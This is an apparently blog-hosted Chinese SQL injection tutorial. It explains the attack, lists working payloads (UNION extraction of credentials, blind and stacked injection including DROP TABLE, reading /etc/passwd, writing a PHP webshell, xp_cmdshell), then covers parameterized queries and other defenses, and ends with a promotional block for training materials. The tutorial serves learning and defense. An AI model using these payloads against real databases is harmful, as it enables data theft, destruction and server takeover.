SQL注入详解
一、什么是SQL注入?
SQL注入(SQL Injection)是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,攻击成功后可以获取、篡改或删除数据库数据,甚至控制服务器。
二、攻击原理
— 原始查询语句
SELECT * FROM users WHERE username = '[用户输入]' AND password = '[用户输入]'
— 攻击者输入:
用户名:admin' —
密码:任意值
— 最终执行的SQL:
SELECT * FROM users WHERE username = 'admin' –' AND password = '任意值'
— '–' 是SQL注释符,后续条件被忽略
三、常见攻击类型
1. 基于错误的注入
' OR 1=1 — — 永真条件
' OR '1'='1
2. 联合查询注入
' UNION SELECT username, password FROM users —
' UNION SELECT 1,@@version — — 获取数据库版本
3. 盲注
- 布尔盲注:通过页面返回判断真假
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' —
- 时间盲注:通过延时判断
' AND IF(1=1,SLEEP(5),0) — — MySQL
'; WAITFOR DELAY '0:0:5' — — SQL Server
4. 堆叠查询
'; DROP TABLE users; —
'; UPDATE users SET password='hacked' WHERE id=1; —
四、危险操作示例
1. 数据泄露
' UNION SELECT null,table_name FROM information_schema.tables —
— MySQL系统表:
information_schema.tables — 所有表信息
information_schema.columns — 所有列信息
mysql.user — 用户信息(MySQL)
— SQL Server:
SELECT name FROM master..sysdatabases — 获取所有数据库
2. 文件操作
— MySQL读取文件:
' UNION SELECT LOAD_FILE('/etc/passwd') —
— MySQL写入文件(写webshell):
SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'
3. 命令执行
— SQL Server(需xp_cmdshell启用):
'; EXEC xp_cmdshell 'net user' —
五、防御措施
1. 参数化查询(预编译语句)
# ❌ 错误:字符串拼接
query = f"SELECT * FROM users WHERE username = '{username}'"
# ✅ 正确:参数化查询
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
// Java PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ? AND password = ?"
);
stmt.setString(1, username);
stmt.setString(2, password);
2. 输入验证与过滤
// 白名单验证
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die('Invalid username');
}
// 转义特殊字符(作为辅助措施)
$username = mysqli_real_escape_string($conn, $username);
3. 最小权限原则
— 创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT, INSERT ON mydb.* TO 'webapp'@'localhost';
— 不要授予DROP、DELETE、FILE等权限
4. 其他防御措施
- 使用ORM框架(Hibernate、Entity Framework等)
- 启用WAF(Web应用防火墙)
- 错误信息处理:不返回详细数据库错误给用户
- 定期安全扫描
六、检测工具
自动化工具:
- SQLMap(最常用)
- Havij
- SQLninja
手动检测步骤:
1. 寻找输入点(表单、URL参数、Cookie)
2. 测试特殊字符:' " ) ; —
3. 尝试永真/永假条件
4. 判断注入类型和数据库类型
5. 获取数据库信息
6. 提取数据
七、实际案例
GET /product?id=1' AND 1=CONVERT(int, @@version)– HTTP/1.1
— 检测到SQL Server,进一步获取数据:
GET /product?id=1' UNION SELECT name, password FROM users–
八、法律声明
⚠️ 重要提醒:
- SQL注入技术仅可用于授权的安全测试
- 未经授权攻击他人系统是违法行为
- 本文内容仅供学习防御之用
最佳实践总结
记住:没有完全安全的系统,只有不断改进的安全实践。 保持警惕,持续学习新的安全技术是防御SQL注入的关键。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈) 

👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
**读者福利 |** CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

网硕互联帮助中心



评论前必须登录!
注册